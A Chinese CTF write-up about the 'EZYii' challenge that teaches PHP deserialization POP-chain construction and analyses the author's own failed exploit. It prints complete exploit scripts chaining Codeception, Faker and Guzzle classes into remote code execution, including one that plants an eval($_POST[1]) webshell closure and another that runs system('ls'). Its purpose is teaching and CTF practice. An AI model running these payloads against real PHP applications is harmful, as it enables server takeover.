前言 将通过一道没有做出来的CTF题目,介绍PHP反序列化POP链的构造
同时会分析我自己的exp的错误之处
题目 EZYii 题目源码下载
描述:
1 yii最新版里有一个很巧妙的链子,我已经从999999个文件里,拿出了部分,不会还找不到吧?
截图
题目入口 题目给了一个反序列化入口,只需要向index.php通过post方法提交data变量(数据为base64编码后的数据)即可
index.php内容如下
include(“closure/autoload.php”);
autoload.php是用于加载class文件夹里所有PHP的程序,spl_autoload_register函数就是这个文件里面的
参考 1day漏洞参考 Yii(2.0.42)的最新反序列化利用全集
EXP Err0r师傅的博客
Err0r师傅写的EXP,非常感谢他
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; class RunProcess { protected $output ; private $processes = []; public function __construct ( ) { $this ->processes[]=new DefaultGenerator(new AppendStream()); $this ->output=new DefaultGenerator('jiang' ); } } echo base64_encode(serialize(new RunProcess())); } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; final class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams[]=new CachingStream(); } } final class CachingStream { private $remoteStream ; public function __construct ( ) { $this ->remoteStream=new DefaultGenerator(false ); $this ->stream=new PumpStream(); } } final class PumpStream { private $source ; private $size =-10 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('j' ); include ("closure/autoload.php" ); $a = function ( ) {eval ($_POST [1 ]);}; $a = \Opis\Closure \serialize($a ); $b = unserialize($a ); $this ->source=$b ; } } }
我的不能用的EXP
为什么不能用且看我慢慢分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php namespace GuzzleHttp \Psr7 { class PumpStream { private $source ; public function __construct ( ) { $this ->source = 'phpinfo' ; } } } namespace Faker { use GuzzleHttp \Psr7 \PumpStream ; class DefaultGenerator { protected $default ; public function __construct ( ) { $this ->default = [new PumpStream(), 'pump' ]; } } } namespace Codeception \Extension { use Faker \DefaultGenerator ; class RunProcess { private $processes = []; public function __construct ( ) { $this ->processes = [new DefaultGenerator()]; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
目录 [TOC]
正文 基本概念
POP:面向属性编程
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。
基本概念
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,当然进行反序列化的数据能够被用户输入所控制。
类的构成
类成员包括由属性和方法构成,类属性存在于数据段,类方法存在于代码段,对于一个类来说,类的方法不占用类的空间,占空间的只有类的属性
序列化
所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
反序列化
为了能够unserialize()一个对象,这个对象的类必须已经定义过。如果序列化类A的一个对象,将会返回一个跟类A相关,而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象,这个对象的类必须在解序列化之前定义,可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。
———————————————— 版权声明:本文为CSDN博主「Single learning dog」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接
PHP对象的反序列化漏洞 从PHP对象的反序列化漏洞说起
就拿这题的源码改改说明一下
在/class/Faker/DefaultGenerator.php添加下面代码,__destruct()是PHP魔术方法,对象从内存中删除之前被调用
1 2 3 public function __destruct ( ) { system($this ->source); }
添加到指定位置
然后运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php namespace GuzzleHttp \Psr7 { class PumpStream { private $source ; public function __construct ( ) { $this ->source = 'ls' ; } } } namespace { echo base64_encode (serialize (new GuzzleHttp \Psr7 \PumpStream ())); }
会输出一串base64编码后的数据,
这实际上是对上面那段代码的新建的PumpStream对象序列化后再base64编码的操作。
数据如下
post提交到index.php的入口,可以发现system(‘ls’);被执行了
这是因为反序列化后创建了一个PumpStream对象,然后$source被赋值成了‘ls’,
前面说过__destruct(),对象删除前会调用system($this->source)
利用对象的反序列化漏洞可以控制$source的内容 ,
被控制之后执行system($this->source)相当于system(‘ls’)。
ls可以换成其它命令,那就不只是列目录了,服务器可能还会被入侵
这道题当然没有那么简单,那么请容我继续讲下去
PHP魔术方法 构造pop链,需要对PHP的一些魔术方法有充分了解
__construct和__destruct 前者和后者分别为类的构造函数和析构函数,__construct在类创建时被调用,__destruct在类删除前被调用
__sleep和__wakeup 与类的序列化有关,序列化前会调用__sleep,使用反序列化恢复对象调用__wakeup
__toString 对类的对象进行字符串操作时,会被调用
如
1 2 3 4 5 6 7 8 9 10 <?php class a { public function __toString ( ) { echo "string" ; return "aa" ; } } $b = new a;$b . 'str' ;
结果如下图
1 2 3 4 5 6 7 8 9 10 11 <?php class a { public function __toString ( ) { echo "string" ; return "aa" ; } } $b = new a;echo $b ;
结果如下图
__call、__get和__set 调用类中不存在的方法时就会调用__call
1 2 3 4 5 6 7 8 9 <?php class a { public function __call ($method , $args ) { echo "call function: $method ()" ; } } $b = new a;$b ->func();
结果如下图
__get则是访问类的成员变量 不存在的时调用,__set在设置类的成员变量 (如:赋值)不存在的时调用
构造简单POP链 开始分析此题、构造此题的POP链前,先简单说明一下反序列化POP利用链,看看是怎么回事
假设服务端程序如下 假如有这么一段PHP程序(如果程序有错误之处麻烦指出),要求调用类c中的func方法
乍一看好像没有什么问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class a { public $obj ; public function __destruct ( ) { $aa = $this ->obj->stop(); echo 'info: ' . $aa ; } } class b { public $ctrl_me ; public function __call ($method , $attributes ) { return $this ->ctrl_me; } } class c { public $string ; public function __toString ( ) { $this ->string->func(); return ; } } class d { public function func ( ) { echo "you got it!" ; } } if (isset ($_GET ['data' ])) { unserialize(base64_decode($_GET ['data' ])); }else { echo "<h1>请调用类c中的func方法</h1>" ; }
有没有捷径? 没有
直接操作c、d对象是不可行的,因为没有字符串操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class c { public $string ; function __construct ( ) { $this ->string = new d; } } class d {} echo base64_encode(serialize(new c));
调用失败,一片空白
尝试将abcd串联在一起
1 a::__destruct() --> b::__call() --> c::__toString() --> d::func()
EXP如下 运行如下exp,复制生成的base64字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class a { public $obj ; public function __construct ( ) { $this ->obj = new b(new c); } } class b { public $ctrl_me ; public function __construct ($ctrl = null ) { $this ->ctrl_me = $ctrl ; } } class c { public $string ; function __construct ( ) { $this ->string = new d; } } class d {} echo base64_encode(serialize(new a));
使用get方法提交到data,可以看到成功调用
分析&&解释 类d 生成类d的对象时是不会直接调用func方法的,需要主动调用
1 2 3 4 5 class d { public function func ( ) { echo "you got it!" ; } }
类c 1 2 3 4 5 6 7 class c { public $string ; public function __toString ( ) { $this ->string->func(); return ; } }
类a 1 2 3 4 5 6 7 class a { public $obj ; public function __destruct ( ) { $aa = $this ->obj->stop(); echo 'info: ' . $aa ; } }
类b 用于不存在方法的调用绕过
1 2 3 4 5 6 class b { public $ctrl_me ; public function __call ($method , $attributes ) { return $this ->ctrl_me; } }
exp中的类b 1 2 3 4 5 6 class b { public $ctrl_me ; public function __construct ($ctrl = null ) { $this ->ctrl_me = $ctrl ; } }
使用时写成下面的样子,即可在调用不存在方法时返回类c的对象
1 $this ->obj = new b(new c);
2022/8/8更新
exp的其它的写法 除了上面那种(如下面代码块所示)写法,还有其它写法
1 2 3 function __construct() { $this->string = new d; }
其它写法 前提是变量是可访问的,即public
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class a { public $obj ; public function __destruct ( ) { $aa = $this ->obj->stop(); echo '\ninfo: ' . $aa ; } } class b { public $ctrl_me ; public function __call ($method , $attributes ) { return $this ->ctrl_me; } } class c { public $string ; public function __toString ( ) { $this ->string->func(); return ; } } class d { public function func ( ) { } } $a = new a;$b = new b;$c = new c;$c -> string = new d;$b -> ctrl_me = $c ;$a -> obj = $b ;echo base64_encode(serialize($a ));
POP链构造基本概念 相信通过上面的例子,下面的文字也很好理解了
POP链构造基本概念
在二进制利用时,ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程,而反序列化过程就是控制代码执行流程的方法之一,前提:进行反序列化的数据能够被用户输入所控制。
POP链利用
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。 ———————————————————————————————— 版权声明:本文为CSDN博主「Single learning dog」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接
构造此题POP链 代码审计 这道题很巧妙,各个类之间能被巧妙地联系在一起,构成远程命令执行(RCE),如果是实际的话,要找到这样巧妙的POP链可能需要大量时间和精力
寻找call_user_func() 先从call_user_func()开始,因为很多Yii的漏洞都是从这个函数开始的
call_user_func()的第一个参数用来写函数名,如system、eval,第二个参数用于存放调用函数的参数,
如call_user_func(‘system’, ‘ls’)代表system(“ls”)
这道题文件不多,只是从Yii选了部分文件,很容易找到/class/GuzzleHttp/Psr7/PumpStream.php含有此函数
从此文件,可以注意到:
$this->source是可控的,read方法调用了含call_user_func()的pump方法
$this->size也可控,意味着使用了getSize方法的程序可能可以被控制
可控 的call_user_func参数只有第一个参数 $this->source,后面会讲如何操作
找关联类 寻找能调用起PumpStream类中read方法或者pump方法的类
找到了/class/GuzzleHttp/Psr7/CachingStream.php
可以看到$this->stream变量适合用来存放PumpStream类的一个对象,因为它调用的方法都是PumpStream类里面有的
而$this->remoteStream则不适合,因为在所有文件里都没能找到它调用的方法(如->eof()),而且变量不可控,就先放着
rewind()调用了seek方法,seek方法又有可能调用read方法,read方法会调用PumpStream类中read方法,
我们只要想办法让$this->stream->read被调用起来即可,也就是把PumpStream类中read方法调用起来
还是没有 能被直接调用 的办法(即利用出错处理调用类中的方法,或者类被创建就调用其中的方法),
继续找能调用CachingStream类里面rewind、seek、read方法之一的类
找到了/class/GuzzleHttp/Psr7/AppendStream.php
里面有个可控变量$streams,
程序会遍历$streams,然后调用rewind()方法。
只需要使$streams成为CachingStream类的对象,就能触发CachingStream类里的rewind方法
而AppendStream类里的seek方法,可以由__toString()触发
触发__toString() 那么如何触发AppendStream类里的__toString()呢?
找到了/class/Codeception/Extension/RunProcess.php
只要产生此类的对象,就会在删除对象时调用stopProcess方法,而且$processes变量可控,
程序会遍历$processes,对遍历的元素process进行字符串操作,
当我们控制$processes为AppendStream类的对象,这就触发了__toString
有个问题就是process会调用debug和getCommandLine以及isRunning方法,这些都是不存在的方法。。。
绕过不存在的方法 还记得前面构造简单POP链讲的类b吗?就是这里抠出来的
/class/Faker/DefaultGenerator.php给了我们绕过的机会
使用方法前面已经讲过了,这里不再赘述
构造链 有亿点点长
1 2 3 4 5 RunProcess::__destruct() --》 DefaultGenerator::__call() --》 AppendStream::__toString() --》 CachingStream::rewind() --》 PumpStream::read() --》 PumpStream::pump() --》 call_user_func()
构造1 1 RunProcess::__destruct() --》 DefaultGenerator::__call()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 namespace Codeception \Extension { use Faker \DefaultGenerator ; class RunProcess { protected $output ; private $processes = []; public function __construct ( ) { ); -->这样写是利用PHP的索引自动加1 也可以写成this->pprocesses=[new DefaultGenerator()]; 结果都是Array {[0 ] => new DefaultGenerator()} */ $this ->processes=[new DefaultGenerator()]; $this ->output=new DefaultGenerator(); } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace { //new Codeception \Extension \RunProcess 是新建一个RunProcess 对象,Codeception \Extension 是命名空间 echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
构造2 AppendStream里streams是一个数组,所以同前面的赋值方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; final class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams=[new CachingStream()]; } } final class CachingStream { private $remoteStream ; public function __construct ( ) { $this ->remoteStream=new DefaultGenerator(false ); $this ->stream=new PumpStream(); } }
$this->remoteStream=new DefaultGenerator(false)是因为下图所指处
此时this->remoteStream为false,!false为true
PumpStream的构造单独讲一下
1 2 3 4 5 6 7 8 9 10 final class PumpStream { private $source ; private $size =-1 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('' ); $this ->source="phpinfo" ; } } }
为啥是DefaultGenerator(‘’),后面多两个’
‘’代表一串空字符,程序调用buffer->read($length),结果赋值给data变量,用DefaultGenerator(‘’)绕过后data变量的值为’’,
因为DefaultGenerator类里的__call方法返回的是输入的参数。
又因为strlen函数计算字符串的长度,所以data变量内容要为字符串
因为这样子构造,CachingStream类里会调用PumpStream类里的getSize()方法,返回的正好是$size的值
1 $this ->stream=new PumpStream();
$diff要大于0,this->stream->getSize()返回的额是-1
rewind()调用this->seek(0),即seek($offset=0),即byte = offset = 0
0 - - 1 = 1,大于0才能执行this->read();
同时,要调用pump方法得满足$remaining条件
$remaining来自length-readLen,也就是前一个类的调用,为1(上面讲过),readLen来自data变量的长度,data为’’空字符串时为0
1-0 = 1,为true
结合 构造一和构造二结合,即可看到phpinfo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; class RunProcess { protected $output ; private $processes = []; public function __construct ( ) { $this ->processes=[new DefaultGenerator(new AppendStream())]; $this ->output=new DefaultGenerator(); } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; final class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams=[new CachingStream()]; } } final class CachingStream { private $remoteStream ; public function __construct ( ) { $this ->remoteStream=new DefaultGenerator(false ); $this ->stream=new PumpStream(); } } final class PumpStream { private $source ; private $size =-1 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('' ); $this ->source="phpinfo" ; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
匿名函数 光执行phpinfo是没有用的
如何构成系统命令的执行?
答案是匿名函数
何为匿名函数?
匿名函数也叫闭包函数(closures)
在JavaScript中匿名函数是非常常用的
在PHP中,例子如下
来自:此处
1 2 3 4 5 6 7 $func = function ( $param ) { echo $param ; }; $func ( 'some string' );
把exp写成这样,是不是就能执行了呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final class PumpStream { private $source ; private $size =-1 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('' ); $a = function ( ) {system('ls' );}; $this ->source=$a ; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
可以注意到
1 $a = function ( ) {system('ls' );};
exp居然报错了
注意到了closure文件夹吗?
题目提供了序列化composer包
里面有闭包函数的序列化函数
序列化之后再反序列化就好了。。。
1 2 3 4 include("closure/autoload.php"); $a = function(){system('ls');}; $a = \Opis\Closure\serialize($a); $b = unserialize($a);
所以应该这么写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 final class PumpStream { private $source ; private $size =-1 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('' ); include ("closure/autoload.php" ); $a = function ( ) {system('ls' );}; $a = \Opis\Closure \serialize($a ); $b = unserialize($a ); $this ->source=$b ; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
生成base64
验证,system(‘ls’)成功执行
可用EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; use GuzzleHttp \Psr7 \AppendStream ; class RunProcess { protected $output ; private $processes = []; public function __construct ( ) { $this ->processes=[new DefaultGenerator(new AppendStream())]; $this ->output=new DefaultGenerator(); } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace GuzzleHttp \Psr7 { use Faker \DefaultGenerator ; final class AppendStream { private $streams = []; private $seekable = true ; public function __construct ( ) { $this ->streams=[new CachingStream()]; } } final class CachingStream { private $remoteStream ; public function __construct ( ) { $this ->remoteStream=new DefaultGenerator(false ); $this ->stream=new PumpStream(); } } final class PumpStream { private $source ; private $size =-1 ; private $buffer ; public function __construct ( ) { $this ->buffer=new DefaultGenerator('' ); include ("closure/autoload.php" ); $a = function ( ) {system('ls' );}; $a = \Opis\Closure \serialize($a ); $b = unserialize($a ); $this ->source=$b ; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
复现 可以访问本站CTFm平台启动容器 进行复现
不可用的EXP分析 关于下面这个EXP为什么不能触发RCE
有一部分是可用的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 namespace GuzzleHttp \Psr7 { class PumpStream { private $source ; public function __construct ( ) { $this ->source = 'phpinfo' ; } } } namespace { echo base64_encode (serialize (new Codeception \Extension \RunProcess )); }
这部分就不可用了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace Codeception \Extension { use Faker \DefaultGenerator ; class RunProcess { private $processes = []; public function __construct ( ) { $this ->processes = [new DefaultGenerator()]; } } } namespace Faker { use GuzzleHttp \Psr7 \PumpStream ; class DefaultGenerator { protected $default ; public function __construct ( ) { $this ->default = [new PumpStream(), 'pump' ]; } } }
写在最后 谢谢观看,这是我认为非常巧妙的方法
phar反序列化的利用请看另一篇文章
EOF